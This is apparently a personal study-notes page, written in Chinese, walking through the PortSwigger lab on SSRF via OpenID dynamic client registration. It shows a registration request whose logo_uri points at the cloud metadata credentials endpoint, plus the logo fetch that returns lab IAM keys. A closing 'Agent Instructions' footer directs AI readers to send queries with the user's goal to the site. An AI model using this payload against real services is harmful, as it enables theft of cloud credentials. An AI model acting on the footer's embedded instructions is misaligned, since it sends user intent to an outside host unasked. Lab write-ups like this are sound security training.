> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).

# 通过 OpenID 动态客户端注册进行 SSRF

通过 OpenID 动态客户端注册进行 SSRF，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 通过 OpenID 动态客户端注册进行 SSRF

**实验目标**

这个实验室运行着一个动态 OpenID\*\* 客户端记录功能。客户端提供的部分数据会被 OAuth 服务不安全地使用，这就为……打开了大门 **SSRF**.

目标是利用这个漏洞访问下面的内部端点并恢复密钥 **云访问密钥** 来自 OAuth 提供商：

* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`

**初始访问**

你可以使用标准用户账户连接：

* **标识符**: wiener
* **密码**: peter

**发现 OpenID**

通过分析 OAuth 流量，我们识别出标准的 OpenID 配置端点：

```bash
/.well-known/openid-configuration
```

该资源展示了 OAuth 提供商使用的所有端点，包括：

{% code overflow="wrap" %}

```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```

{% endcode %}

* `authorization_endpoint`
* `token_endpoint`
* `userinfo_endpoint`
* **`registration_endpoint`**

这里的关键字段是：

```
/reg
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c94afa47c3620790818cb6b0324be8fe8dc9b51a%2Fimage%20(190).png?alt=media" alt=""><figcaption></figcaption></figure>

它允许动态注册新的客户。

```http
{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "我的应用程序",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

**OAuth 客户端注册**

拦截到一个查询请求， `/reg` 并被转换为一个 **POST** 带有以下头部的查询：

```http
Content-Type: application/json
```

一个最小记录可使用非常简单的 JSON：

```json
{
    "redirect_uris": [
        "https://test.com"
        ]
}
```

服务器响应时会创建一个新的 OAuth 应用，并特别返回：

* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`

这证实了动态记录是启用的，而且没有限制。

{% code overflow="wrap" %}

```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69609792054f039926a071a6b0ec017884f5efdd%2Fimage%20(191).png?alt=media" alt=""><figcaption></figcaption></figure>

**通过以下方式注入的 SSRF `logo_uri`**

该 `logo_uri` 该字段旨在加载与客户端关联的图像，特别有趣。/ 它在服务器端被获取，而没有严格的 URL 验证。

记录了一个新客户端，并且 `logo_uri` 指向 AWS 内部 IP：

```json
{
  "redirect_uris": [
    "https://jord4n.pro"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```

服务器接受了该请求并返回了一个新的 `client_id`.

**访问客户徽标**

每个客户都有一个用于恢复其徽标的端点：

```
GET /client/<client_id>/logo
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15e93ba0f3933b3d7ae29ef3f9b5298b54898977%2F%7BD3C517F5-2320-4859-AEC8-7754F14C4BBF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```http
GET /client/1767128152/logo
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc1dee5b548f0d4c70c3ecd60fd1b651e0167edc%2Fimage%20(193).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 `client_id` 之前获得的：

```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```

**AWS 元数据外泄**

答案不包含图像，而是直接包含\*\*内部 IAM 凭证\*\*：

```json
{
  "Code" : "Success",
  "LastUpdated" : "2025-12-31T18:55:47.398604832Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
  "SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
  "Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
  "Expiration" : "2031-12-30T18:55:47.398604832Z"
}
```

`SecretAccessKey` 是用于验证该实验的预期值。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
